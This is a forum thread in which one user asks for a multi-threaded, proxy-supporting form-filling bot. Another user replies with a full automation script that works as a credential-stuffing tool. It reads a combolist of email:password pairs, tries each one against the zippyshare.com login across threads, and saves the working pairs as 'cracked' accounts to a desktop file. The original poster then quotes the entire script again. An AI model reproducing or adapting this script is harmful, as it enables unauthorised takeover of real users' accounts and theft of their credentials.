drstew 1 Posted January 11, 2016 Report Share Posted January 11, 2016 Hi Guys, I need a very simple bot created to preform the following: Navigate to URLFill in registration form and store detailsNavigate to internal URLRetrieve and store detailsI'd like this bot to be multi-threaded and support proxies. A clear spec will be provided to the developer. Thanks. Quote Link to post Share on other sites
pash 504 Posted January 12, 2016 Report Share Posted January 12, 2016 this sample code Improvements to be your own. on load("Bot Loaded") { set(#Max,100,"Global") set(#progress,0,"Global") } ui stat monitor("<progress value=\"{#progress}\" max=\"{#Max}\"></progress>","{#progress}%") set(#looptotal,17,"Global") set(#loopcount,1,"Global") ui open file("Combolist",#combo) clear list(%Lists) set(#loopcount,"-1","Global") ui drop down("Thread Count","1,2,3,4,5,6,7,8,9,10",#num threads) set(#used threads,0,"Global") set(#looptotal,$list total(%Lists),"Global") loop(#looptotal) { loop while($comparison(#used threads,">=",#num threads)) { wait(1) } increment(#loopcount) set(#email,$replace regular expression($list item(%Lists,#row),":.*",""),"Global") set(#password,$replace regular expression($list item(%Lists,#row),".*?:",""),"Global") set(#progress,$eval("var tmp1 = {$multiply($divide(#loopcount,#looptotal),100)}; tmp2 = Math.floor(tmp1); tmp2"),"Global") increment(#used threads) thread { Login procedure(#email, #password) decrement(#used threads) } wait(0.001) } define Login procedure(#email, #password) { in new browser { navigate("http://zippyshare.com","Wait") wait for browser event("Everything Loaded","") wait(1) wait(5) type text(<username field>,#email,"Standard") type text(<password field>,#password,"Standard") wait for browser event("Everything Loaded","") click(<login button>,"Left Click","No") wait(5) if($exists(<innertext="Logout">)) { wait for browser event("Everything Loaded","") then { alert("you got a hit") increment(#cracked) add item to list(%cracked,"{#email}:{#password}{$new line}","Delete","Global") save to file("{$special folder("Desktop")}/finalcracked.txt",%cracked) } else { } } } } loop while($comparison(#used threads,"> Greater than",0)) { wait(1) } Quote Link to post Share on other sites
drstew 1 Posted January 13, 2016 Author Report Share Posted January 13, 2016 Thanks Pash. I don't actually have the skills to add to this code you've provided, which is why I want to hire someone to complete this for me. I've sent you a PM. this sample code Improvements to be your own. on load("Bot Loaded") { set(#Max,100,"Global") set(#progress,0,"Global") } ui stat monitor("<progress value=\"{#progress}\" max=\"{#Max}\"></progress>","{#progress}%") set(#looptotal,17,"Global") set(#loopcount,1,"Global") ui open file("Combolist",#combo) clear list(%Lists) set(#loopcount,"-1","Global") ui drop down("Thread Count","1,2,3,4,5,6,7,8,9,10",#num threads) set(#used threads,0,"Global") set(#looptotal,$list total(%Lists),"Global") loop(#looptotal) { loop while($comparison(#used threads,">=",#num threads)) { wait(1) } increment(#loopcount) set(#email,$replace regular expression($list item(%Lists,#row),":.*",""),"Global") set(#password,$replace regular expression($list item(%Lists,#row),".*?:",""),"Global") set(#progress,$eval("var tmp1 = {$multiply($divide(#loopcount,#looptotal),100)}; tmp2 = Math.floor(tmp1); tmp2"),"Global") increment(#used threads) thread { Login procedure(#email, #password) decrement(#used threads) } wait(0.001) } define Login procedure(#email, #password) { in new browser { navigate("http://zippyshare.com","Wait") wait for browser event("Everything Loaded","") wait(1) wait(5) type text(<username field>,#email,"Standard") type text(<password field>,#password,"Standard") wait for browser event("Everything Loaded","") click(<login button>,"Left Click","No") wait(5) if($exists(<innertext="Logout">)) { wait for browser event("Everything Loaded","") then { alert("you got a hit") increment(#cracked) add item to list(%cracked,"{#email}:{#password}{$new line}","Delete","Global") save to file("{$special folder("Desktop")}/finalcracked.txt",%cracked) } else { } } } } loop while($comparison(#used threads,"> Greater than",0)) { wait(1) } Quote Link to post Share on other sites
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.